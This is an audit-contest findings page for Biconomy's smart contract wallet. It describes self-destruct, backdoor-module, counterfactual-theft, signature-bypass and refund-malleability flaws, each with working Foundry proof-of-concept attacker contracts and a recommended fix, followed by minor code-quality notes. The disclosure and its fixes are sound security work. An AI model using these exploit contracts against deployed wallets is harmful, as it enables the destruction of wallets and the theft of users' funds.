Biconomy - Smart Contract Wallet contest - adriro's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L166

Vulnerability details

The SmartAccount wallet architecture is mainly defined by a Proxy contract that delegates functionality to a common reusable SmartAccount implementation.

The SmartAccountFactory contract has the address of a base SmartAccount implementation (immutable variable _defaultImpl). When a new wallet is created, the factory deploys a new Proxy that points its implementation to this base SmartAccount implementation, and then calls the init function to initialize the wallet (sets owner, sets entrypoint, etc.).

Each Proxy contract that represents a wallet holds its storage state and delegates functionality to a SmartAccount implementation. This implementation contract is shared by all wallets.

Since the SmartAccount implementation is a contract that can be interacted with, a bad actor can initialize it and destroy this common implementation by:

1. Call init on the implementation contract to become the owner of the contract.
2. Using execTransaction, execute a delegatecall to a contract that performs the selfdestruct opcode.

Impact

This security issue affects the functionality of existing wallets, rendering them unusable. The issue is caused by the destruction of the implementation contract code and the inability of the proxy to delegate functionality to the implementation contract.

As a result, owners will lose access to their wallets and any associated funds, as well as any third party integrations that depend on the wallet.

Additionally, the issue will prevent any upgrade functionality, as the upgrade logic is implemented in the same 'SmartAccount' contract using the 'Singleton' mixin and accessed through the 'updateImplementation' function. This means that upgrades will also be unavailable once the implementation contract is destroyed.

PoC

The following test reproduces the issue. An attacker calls init on the implementation contract and executes a delegatecall to a simple contract that does the selfdestruct.

Note that in foundry tests, selfdestruct doesn't take effect until the test finalizes (see here).

contract Destroyable {
    function destroy() external {
        selfdestruct(payable(msg.sender));
    }
}

contract AuditTest is Test {
    bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;

    uint256 bobPrivateKey = 0x123;
    uint256 attackerPrivateKey = 0x456;

    address deployer;
    address bob;
    address attacker;
    address entrypoint;
    address handler;

    SmartAccount public implementation;
    SmartAccountFactory public factory;
    MockToken public token;

    function setUp() public {
        deployer = makeAddr("deployer");
        bob = vm.addr(bobPrivateKey);
        attacker = vm.addr(attackerPrivateKey);
        entrypoint = makeAddr("entrypoint");
        handler = makeAddr("handler");

        vm.label(deployer, "deployer");
        vm.label(bob, "bob");
        vm.label(attacker, "attacker");

        vm.startPrank(deployer);
        implementation = new SmartAccount();
        factory = new SmartAccountFactory(address(implementation));
        token = new MockToken();
        vm.stopPrank();
    }
    
    function buildSignature(SmartAccount wallet, Transaction memory _tx, FeeRefund memory refundInfo, uint256 _nonce, uint256 privateKey) internal returns (bytes memory) {
        bytes32 domainSeparator = wallet.domainSeparator();

        bytes32 safeTxHash =
            keccak256(
                abi.encode(
                    ACCOUNT_TX_TYPEHASH,
                    _tx.to,
                    _tx.value,
                    keccak256(_tx.data),
                    _tx.operation,
                    _tx.targetTxGas,
                    refundInfo.baseGas,
                    refundInfo.gasPrice,
                    refundInfo.gasToken,
                    refundInfo.refundReceiver,
                    _nonce
                )
            );

        bytes memory encoded = abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator, safeTxHash);
        bytes32 hash = keccak256(encoded);

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, hash);

        return abi.encodePacked(r, s, v);
    }

    function test_SmartAccount_DestroyImplementation() public {
        vm.prank(bob);
        address proxy = factory.deployWallet(bob, entrypoint, handler);
        SmartAccount wallet = SmartAccount(payable(proxy));

        vm.startPrank(attacker);

        // Attacker initializes implementation to become owner
        implementation.init(attacker, entrypoint, handler);

        // Simple contract that implements selfdestruct
        Destroyable destroyable = new Destroyable();

        // Attacker now sends a transaction (delegatecall) to the destroyable contract
        Transaction memory tx = Transaction(
            address(destroyable), // to
            0, //value,
            abi.encodeWithSelector(Destroyable.destroy.selector), //data
            Enum.Operation.DelegateCall, // operation
            0 //targetTxGas
        );
        FeeRefund memory feeRefund = FeeRefund(
            0, // uint256 baseGas;
            0, // uint256 gasPrice; //gasPrice or tokenGasPrice
            0, // uint256 tokenGasPriceFactor;
            address(0), // address gasToken;
            payable(0) // address payable refundReceiver;
        );
        uint256 batchId = 0;

        bytes memory signature = buildSignature(implementation, tx, feeRefund, 0, attackerPrivateKey);

        // This desroys the implementation contract
        implementation.execTransaction(tx, batchId, feeRefund, signature);

        vm.stopPrank();
    }
}

Recommendation

Add a constructor to the SmartAccount contract that calls OpenZeppelin _disableInitializers() helper. This will disable any initializer in the implementation contract and prevent the init function (or any other initializer) from being called.

constructor() {
    _disableInitializers();
}

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L53

Vulnerability details

At wallet creation time, an attacker can temporarily swap the address of the entrypoint to install a backdoor in the form of a registered module in the wallet.

Since wallets don't necessarily need to be created by their owners, an attacker can frontrun the wallet creation or trick the user using phishing techniques and modify the _entryPointAddress parameter with a custom version.

Entrypoints have total control of the wallet through the execFromEntryPoint. This means that the attacker can use a contract that acts as a temporal entrypoint to install and register a module in the wallet. This module would then sit dormant in the wallet until the attacker decides to use it against the user.

After the backdoor module is installed, the same temporal entrypoint implementation can be used to replace the wallet's entrypoint back to the original legit implementation. This would leave a wallet initialized with the intended owner and entrypoint, but with the backdoor already installed.

In summary, an attack can create a backdoored wallet on behalf of a user by swapping the entrypoint with an implementation that registers the backdoored module and then replaces the entrypoint implementation back to the original version (see PoC for more details).

Impact

The installed module acts as a backdoor that has total control of the user's wallet, as any module can execute arbitrary code in the context of the SmartAccount contract through the execFromEntryPoint function.

The attacker can then wait for the right moment to steal any funds present in the wallet or compromise any integration associated with the wallet.

Note that this attack is also possible using the counterfactual wallet generation (SmartAccountFactory.deployCounterFactualWallet) as the entrypoint address is not part of the salt or init hash passed to create2.

PoC

In the following test, an attacker creates Bob's wallet by replacing the entrypoint with a version that is used to install the backdoor. The steps are:

1. Deploy BadEntrypoint and ModuleBackdoor
2. Frontrun wallet's creation using BadEntrypoint as the entrypoint. Owner and handler are the same.
3. Call BadEntrypoint.enableBackdoor which will install the backdoored module by calling ModuleManager.enableBackdoor from the entrypoint and then replacing the entypoint itself with the real entrypoint implementation.

contract ModuleBackdoor {
    function hack() external {
        // we can call execTransactionFromModule from this module to execute arbitrary code
    }
}

contract BadEntrypoint {
    function enableBackdoor(SmartAccount wallet, address module, address realEntrypoint) external {
        wallet.execFromEntryPoint(
            address(wallet), // address dest
            0, // uint value
            abi.encodeWithSelector(ModuleManager.enableModule.selector, module), // bytes calldata func
            Enum.Operation.Call, // Enum.Operation operation
            gasleft() // uint256 gasLimit
        );
        wallet.execFromEntryPoint(
            address(wallet), // address dest
            0, // uint value
            abi.encodeWithSelector(SmartAccount.updateEntryPoint.selector, realEntrypoint), // bytes calldata func
            Enum.Operation.Call, // Enum.Operation operation
            gasleft() // uint256 gasLimit
        );
    }
}

contract AuditTest is Test {
    bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;

    uint256 bobPrivateKey = 0x123;
    uint256 attackerPrivateKey = 0x456;

    address deployer;
    address bob;
    address attacker;
    address entrypoint;
    address handler;

    SmartAccount public implementation;
    SmartAccountFactory public factory;
    MockToken public token;

    function setUp() public {
        deployer = makeAddr("deployer");
        bob = vm.addr(bobPrivateKey);
        attacker = vm.addr(attackerPrivateKey);
        entrypoint = makeAddr("entrypoint");
        handler = makeAddr("handler");

        vm.label(deployer, "deployer");
        vm.label(bob, "bob");
        vm.label(attacker, "attacker");

        vm.startPrank(deployer);
        implementation = new SmartAccount();
        factory = new SmartAccountFactory(address(implementation));
        token = new MockToken();
        vm.stopPrank();
    }
    
    function test_SmartAccountFactory_WalletBackdoor() public {
        vm.startPrank(attacker);

        BadEntrypoint badEntrypoint = new BadEntrypoint();
        ModuleBackdoor backdoor = new ModuleBackdoor();

        // Initialize bob's wallet with bad entrypoint
        address proxy = factory.deployWallet(bob, address(badEntrypoint), handler);
        SmartAccount wallet = SmartAccount(payable(proxy));

        // Attacker's entrypoint will enable the backdoor module and replace entrypoint for the real version
        badEntrypoint.enableBackdoor(wallet, address(backdoor), entrypoint);

        // Backdoor is installed and enabled
        assertTrue(wallet.isModuleEnabled(address(backdoor)));
        // Owner and entrypoint are correct
        assertEq(wallet.owner(), bob);
        assertEq(address(wallet.entryPoint()), entrypoint);

        vm.stopPrank();
    }
}

Recommendation

This may need further discussion. The entrypoint address can be fixed in the base SmartAccount implementation (the base implementation that the factory uses to initialize the Proxy). This way, a new wallet can be created without explicitly passing the entrypoint address.

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33-L45

Vulnerability details

A counterfactual wallet can be used by pre-generating its address using the SmartAccountFactory.getAddressForCounterfactualWallet function. This address can then be securely used (for example, sending funds to this address) knowing in advance that the user will later be able to deploy it at the same address to gain control.

However, an attacker can deploy the counterfactual wallet on behalf of the owner and use an arbitrary entrypoint:

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33-L45

function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
    bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index))));
    bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
    // solhint-disable-next-line no-inline-assembly
    assembly {
        proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
    }
    require(address(proxy) != address(0), "Create2 call failed");
    // EOA + Version tracking
    emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION, _index);
    BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
    isAccountExist[proxy] = true;
}

As the entrypoint address doesn't take any role in the address generation (it isn't part of the salt or the init hash), then the attacker is able to use any arbitrary entrypoint while keeping the address the same as the pre-generated address.

Impact

After the attacker has deployed the wallet with its own entrypoint, this contract can be used to execute any arbitrary call or code (using delegatecall) using the execFromEntryPoint function:

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L489-L492

function execFromEntryPoint(address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit) external onlyEntryPoint returns (bool success) {        
    success = execute(dest, value, func, operation, gasLimit);
    require(success, "Userop Failed");
}

This means the attacker has total control over the wallet, it can be used to steal any pre-existing funds in the wallet, change the owner, etc.

PoC

In the following test, the attacker deploys the counterfactual wallet using the StealEntryPoint contract as the entrypoint, which is then used to steal any funds present in the wallet.

contract StealEntryPoint {
    function steal(SmartAccount wallet) public {
        uint256 balance = address(wallet).balance;

        wallet.execFromEntryPoint(
            msg.sender, // address dest
            balance, // uint value
            "", // bytes calldata func
            Enum.Operation.Call, // Enum.Operation operation
            gasleft() // uint256 gasLimit
        );
    }
}

contract AuditTest is Test {
    bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;

    uint256 bobPrivateKey = 0x123;
    uint256 attackerPrivateKey = 0x456;

    address deployer;
    address bob;
    address attacker;
    address entrypoint;
    address handler;

    SmartAccount public implementation;
    SmartAccountFactory public factory;
    MockToken public token;

    function setUp() public {
        deployer = makeAddr("deployer");
        bob = vm.addr(bobPrivateKey);
        attacker = vm.addr(attackerPrivateKey);
        entrypoint = makeAddr("entrypoint");
        handler = makeAddr("handler");

        vm.label(deployer, "deployer");
        vm.label(bob, "bob");
        vm.label(attacker, "attacker");

        vm.startPrank(deployer);
        implementation = new SmartAccount();
        factory = new SmartAccountFactory(address(implementation));
        token = new MockToken();
        vm.stopPrank();
    }
    
    function test_SmartAccountFactory_StealCounterfactualWallet() public {
        uint256 index = 0;
        address counterfactualWallet = factory.getAddressForCounterfactualWallet(bob, index);
        // Simulate Bob sends 1 ETH to the wallet
        uint256 amount = 1 ether;
        vm.deal(counterfactualWallet, amount);

        // Attacker deploys counterfactual wallet with a custom entrypoint (StealEntryPoint)
        vm.startPrank(attacker);

        StealEntryPoint stealer = new StealEntryPoint();

        address proxy = factory.deployCounterFactualWallet(bob, address(stealer), handler, index);
        SmartAccount wallet = SmartAccount(payable(proxy));

        // address is the same
        assertEq(address(wallet), counterfactualWallet);

        // trigger attack
        stealer.steal(wallet);

        vm.stopPrank();

        // Attacker has stolen the funds
        assertEq(address(wallet).balance, 0);
        assertEq(attacker.balance, amount);
    }
}

Recommendation

This may need further discussion, but an easy fix would be to include the entrypoint as part of the salt. Note that the entrypoint used to generate the address must be kept the same and be used during the deployment of the counterfactual wallet.

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

SmartAccount authorization can be bypassed using a contract signature

The SmartAccount wallet supports contract signatures defined by EIP1271, similar to how Gnosis Safe does. Transactions to the wallet can be authorized by a contract that implements the ISignatureValidator interface. This feature is implemented in the checkSignatures function, around lines 314-343:

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

if(v == 0) {
  // If v is 0 then it is a contract signature
  // When handling contract signatures the address of the contract is encoded into r
  _signer = address(uint160(uint256(r)));

  // Check that signature data pointer (s) is not pointing inside the static part of the signatures bytes
      // This check is not completely accurate, since it is possible that more signatures than the threshold are send.
      // Here we only check that the pointer is not pointing inside the part that is being processed
      require(uint256(s) >= uint256(1) * 65, "BSA021");

      // Check that signature data pointer (s) is in bounds (points to the length of data -> 32 bytes)
      require(uint256(s) + 32 <= signatures.length, "BSA022");

      // Check if the contract signature is in bounds: start of data is s + 32 and end is start + signature length
      uint256 contractSignatureLen;
      // solhint-disable-next-line no-inline-assembly
      assembly {
          contractSignatureLen := mload(add(add(signatures, s), 0x20))
      }
      require(uint256(s) + 32 + contractSignatureLen <= signatures.length, "BSA023");

      // Check signature
      bytes memory contractSignature;
      // solhint-disable-next-line no-inline-assembly
      assembly {
          // The signature data for contract signatures is appended to the concatenated signatures and the offset is stored in s
          contractSignature := add(add(signatures, s), 0x20)
      }
      require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024");
}

The issue here is that, even though the signature is validated against the contract, there's no relation or enforcement between the signer contract and the owner of the wallet. This means that signature checks can be easily bypassed using a contract signature.

Impact

This represents a critical issue since the authorization of any wallet can be easily bypassed using a dummy contract that acts as the signer.

This would let an attacker access and execute anything on any SmartAccount wallet. By calling the execTransaction function on the SmartAccount contract, an attacker can trigger a call or delegatecall in the context of the wallet and essentially execute any arbitrary code.

PoC

In the following test, Bob creates a wallet and loads it with some balance. The attacker then uses a dummy contract that acts as the signature validator (DummySignatureValidator) and calls execTransaction to delegatecall a contract (StealBalance) that steals the funds from the wallet.

contract DummySignatureValidator is ISignatureValidator {
    function isValidSignature(bytes memory, bytes memory) public override view returns (bytes4) {
        return 0x20c13b0b;
    }
}

contract StealBalance {
    function steal(address receiver) external {
        payable(receiver).transfer(address(this).balance);
    }
}

contract AuditTest is Test {
    bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;

    uint256 bobPrivateKey = 0x123;
    uint256 attackerPrivateKey = 0x456;

    address deployer;
    address bob;
    address attacker;
    address entrypoint;
    address handler;

    SmartAccount public implementation;
    SmartAccountFactory public factory;
    MockToken public token;

    function setUp() public {
        deployer = makeAddr("deployer");
        bob = vm.addr(bobPrivateKey);
        attacker = vm.addr(attackerPrivateKey);
        entrypoint = makeAddr("entrypoint");
        handler = makeAddr("handler");

        vm.label(deployer, "deployer");
        vm.label(bob, "bob");
        vm.label(attacker, "attacker");

        vm.startPrank(deployer);
        implementation = new SmartAccount();
        factory = new SmartAccountFactory(address(implementation));
        token = new MockToken();
        vm.stopPrank();
    }
    
    function test_SmartAccount_BypassAuthorization() public {
        // Bob creates a wallet and adds some ETH
        vm.startPrank(bob);

        address proxy = factory.deployWallet(bob, entrypoint, handler);
        SmartAccount wallet = SmartAccount(payable(proxy));

        vm.deal(address(wallet), 1 ether);

        vm.stopPrank();

        // Attacker bypasses authorization on Bob's wallet by using a dummy contract validator
        vm.startPrank(attacker);

        StealBalance stealer = new StealBalance();
        DummySignatureValidator validator = new DummySignatureValidator();

        Transaction memory tx = Transaction(
            address(stealer), // to
            0, //value,
            abi.encodeWithSelector(StealBalance.steal.selector, attacker), //data
            Enum.Operation.DelegateCall, // operation
            0 //targetTxGas
        );
        FeeRefund memory feeRefund = FeeRefund(
            0, // uint256 baseGas;
            0, // uint256 gasPrice; //gasPrice or tokenGasPrice
            0, // uint256 tokenGasPriceFactor;
            address(0), // address gasToken;
            payable(0) // address payable refundReceiver;
        );
        uint256 batchId = 0;
        uint256 nonce = 0;

        // Build signature pointing to dummy validator
        bytes32 r = bytes32(uint256(uint160(address(validator))));
        bytes32 s = bytes32(uint256(65));
        uint8 v = 0;

        bytes memory signature = abi.encodePacked(r, s, v, uint256(0));

        // Exec transaction
        wallet.execTransaction(tx, batchId, feeRefund, signature);

        // Attacker has stolen the funds
        assertEq(attacker.balance, 1 ether);

        vm.stopPrank();
    }
}

Recommendation

The checkSignatures function should verify that the contract validator is the owner of the wallet.

  // Check signature
  bytes memory contractSignature;
  // solhint-disable-next-line no-inline-assembly
  assembly {
      // The signature data for contract signatures is appended to the concatenated signatures and the offset is stored in s
      contractSignature := add(add(signatures, s), 0x20)
  }
  require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024");
+ require(_signer == owner);

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L424-L446

Vulnerability details

The execTransaction function present in the SmartAccount contract is susceptible to a malleability attack.

This is due to the fact that the encodeTransactionData function, which is used to encode the transaction data that is part of the hash used to verify the signature, does not include the refundInfo.tokenGasPriceFactor property.

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L424-L446

function encodeTransactionData(
    Transaction memory _tx,
    FeeRefund memory refundInfo,
    uint256 _nonce
) public view returns (bytes memory) {
    bytes32 safeTxHash =
        keccak256(
            abi.encode(
                ACCOUNT_TX_TYPEHASH,
                _tx.to,
                _tx.value,
                keccak256(_tx.data),
                _tx.operation,
                _tx.targetTxGas,
                refundInfo.baseGas,
                refundInfo.gasPrice,
                refundInfo.gasToken,
                refundInfo.refundReceiver,
                _nonce
            )
        );
    return abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator(), safeTxHash);
}

As a result, this property can be modified to any value and the signature will still be considered valid. This allows an attacker to frontrun the transaction, modify the tokenGasPriceFactor value, and resubmit the transaction with the same signature.

Impact

The tokenGasPriceFactor property is used in the handlePayment function to adjust the payment value when the refund is made using ERC20 tokens:

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L288-L289

payment = (gasUsed + baseGas) * (gasPrice) / (tokenGasPriceFactor);
require(transferToken(gasToken, receiver, payment), "BSA012");

The value of tokenGasPriceFactor is used as a dividing factor to correct the gas calculation according to the token being used. This can potentially be exploited in two ways:

1. A griefer can modify the tokenGasPriceFactor parameter to a high value (e.g. type(uint256).max), which will significantly reduce the payment amount sent to refundReceiver. This is because tokenGasPriceFactor is the denominator in the division, and increasing its value will cause the result to approach zero.

2. A bad actor (possibly the refundReceiver) can modify the tokenGasPriceFactor parameter to a lower value to increase the payout. For example, if tokenGasPriceFactor = 10, the attacker could set tokenGasPriceFactor = 1 to receive a 10x increase in the payout. This is because decreasing the tokenGasPriceFactor value will increase the result payment amount, since it is the dividing factor.

PoC

This test illustrates the case of a griefer that frontruns the transaction and sets tokenGasPriceFactor = type(uint256).max which has the effect of nullifying the transfer, as the value will be 0.

Note: this test needs to be executed by setting a gas price. For example:

forge test -vvv --match-test=test_SmartAccount_MalleableRefundReceiver --gas-price=10

contract MockToken is ERC20 {
    constructor ()
        ERC20("TST", "MockToken") {
    }

    function mint(address sender, uint amount) external {
        _mint(sender, amount);
    }
}

contract Foo {
    function foo() external returns (uint256) {
        return 42;
    }
}

contract AuditTest is Test {
    bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;

    uint256 bobPrivateKey = 0x123;
    uint256 attackerPrivateKey = 0x456;

    address deployer;
    address bob;
    address attacker;
    address entrypoint;
    address handler;

    SmartAccount public implementation;
    SmartAccountFactory public factory;
    MockToken public token;

    function setUp() public {
        deployer = makeAddr("deployer");
        bob = vm.addr(bobPrivateKey);
        attacker = vm.addr(attackerPrivateKey);
        entrypoint = makeAddr("entrypoint");
        handler = makeAddr("handler");

        vm.label(deployer, "deployer");
        vm.label(bob, "bob");
        vm.label(attacker, "attacker");

        vm.startPrank(deployer);
        implementation = new SmartAccount();
        factory = new SmartAccountFactory(address(implementation));
        token = new MockToken();
        vm.stopPrank();
    }
    
    function buildSignature(SmartAccount wallet, Transaction memory _tx, FeeRefund memory refundInfo, uint256 _nonce, uint256 privateKey) internal returns (bytes memory) {
        bytes32 domainSeparator = wallet.domainSeparator();

        bytes32 safeTxHash =
            keccak256(
                abi.encode(
                    ACCOUNT_TX_TYPEHASH,
                    _tx.to,
                    _tx.value,
                    keccak256(_tx.data),
                    _tx.operation,
                    _tx.targetTxGas,
                    refundInfo.baseGas,
                    refundInfo.gasPrice,
                    refundInfo.gasToken,
                    refundInfo.refundReceiver,
                    _nonce
                )
            );

        bytes memory encoded = abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator, safeTxHash);
        bytes32 hash = keccak256(encoded);

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, hash);

        return abi.encodePacked(r, s, v);
    }
    
    function test_SmartAccount_MalleableRefundReceiver() public {
        vm.startPrank(bob);

        address proxy = factory.deployWallet(bob, entrypoint, handler);
        SmartAccount wallet = SmartAccount(payable(proxy));

        // Load Bob's wallet with some balance
        token.mint(address(wallet), 1 ether);

        // Deploy a random contract and simulate a call to this contract by Bob.
        // fundReceiver is the recipient of the refund.
        Foo foo = new Foo();
        address fundReceiver = makeAddr("fundReceiver");

        // fundReceiver has 0 balance
        assertEq(fundReceiver.balance, 0);

        // Build and sign transaction
        Transaction memory tx = Transaction(
            address(foo), // to
            0, //value,
            abi.encodeWithSelector(Foo.foo.selector), //data
            Enum.Operation.Call, // operation
            100_000 //targetTxGas
        );
        FeeRefund memory feeRefund = FeeRefund(
            20_000, // uint256 baseGas;
            10, // uint256 gasPrice; //gasPrice or tokenGasPrice
            1, // uint256 tokenGasPriceFactor;
            address(token), // address gasToken;
            payable(fundReceiver) // address payable refundReceiver;
        );
        uint256 batchId = 0;
        uint256 nonce = 0;

        bytes memory signature = buildSignature(wallet, tx, feeRefund, nonce, bobPrivateKey);

        vm.stopPrank();

        // Now attacker frontruns the transaction, modifies the tokenGasPriceFactor parameter
        // and resubmits the transaction
        vm.startPrank(attacker);

        FeeRefund memory attackerFeeRefund = FeeRefund(
            feeRefund.baseGas,
            feeRefund.gasPrice,
            type(uint256).max, // change tokenGasPriceFactor
            feeRefund.gasToken,
            feeRefund.refundReceiver
        );

        wallet.execTransaction{gas: 250000}(tx, batchId, attackerFeeRefund, signature);

        // By using a high tokenGasPriceFactor the payment is 0
        assertEq(fundReceiver.balance, 0);
    }
}

Recommendation

Add refundInfo.tokenGasPriceFactor to the encoding that is used to build the hash:

  function encodeTransactionData(
      Transaction memory _tx,
      FeeRefund memory refundInfo,
      uint256 _nonce
  ) public view returns (bytes memory) {
      bytes32 safeTxHash =
          keccak256(
              abi.encode(
                  ACCOUNT_TX_TYPEHASH,
                  _tx.to,
                  _tx.value,
                  keccak256(_tx.data),
                  _tx.operation,
                  _tx.targetTxGas,
                  refundInfo.baseGas,
                  refundInfo.gasPrice,
                  refundInfo.gasToken,
                  refundInfo.refundReceiver,
+                 refundInfo.tokenGasPriceFactor,
                  _nonce
              )
          );
      return abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator(), safeTxHash);
  }

Judge has assessed an item in Issue #533 as 2 risk. The relevant finding follows:

Upgradeable contract is missing a __gap[50] storage variable to allow for new storage variables in later versions

Upgradeable contract is missing a __gap[50] storage variable to allow for new storage variables in later versions

Add some storage gap to base contracts to allow adding storage variables in future upgrades.

Occurrences:

• BaseSmartAccount (used by SmartAccount)

Also the following mixins are used in the SmartAccount contract

• Singleton
• ModuleManager
• SignatureDecoder
• SecuredTokenTransfer
• FallbackManager

Move setters to the "setters" section in SmartAccount contract

Setters defined between lines 94-103 should be placed after line 107.

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L93-L103

Use block.chainid instead of assembly

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L140-L147

In Solidity 0.8 block.chainid can be used to retrieve the chain id value.

Duplicated getter getNonce in SmartAccount contract

The getter getNonce is already defined by the nonce(uint256 _batchId) function.

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L155-L159

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L97-L99

Wrong require description in SmartAccount contract

Line 171 reads "Invalid Entrypoint", but the check belongs to the "handler" variable.

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L171

Dedupe code between handlePayment and handlePaymentRevert functions

Most of the code is duplicated in both functions. Consider extracting common functionality to an internal function.

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L247-L269 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L271-L295

No bounds check in checkSignatures function

The signatures variable length isn't checked before the call to signatureSplit. Since this variable should contain at least one element, consider adding a check require(signatures.length >= 65).

Function _requireFromEntryPointOrOwner can be safely removed from the SmartAccount contract

The _requireFromEntryPointOrOwner is only used in the execute and executeBatch function, but as its usage is redundant (see gas report) the function can be entirely removed.

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L494-L496

Use abi.encode to set arguments for creation payload in SmartAccountFactory

Prefer using abi.encode to safely encode arguments that are using to build the creation payload. Example:

bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, abi.encode(_defaultImpl));

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L35

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L54

Function getUserOpGasPrice in EntryPoint contract is duplicated

The UserOperation library defines exactly the same function (gasPrice).

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol#L484

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/aa-4337/interfaces/UserOperation.sol#L45

Use typed selector instead of bytes4 constant

In DefaultCallbackHandler, functions onERC1155Received / onERC1155BatchReceived / onERC721Received, use the typed selector instead of the constant. For example:

function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
) external pure override returns (bytes4) {
    return ERC721TokenReceiver.onERC721Received.selector;
}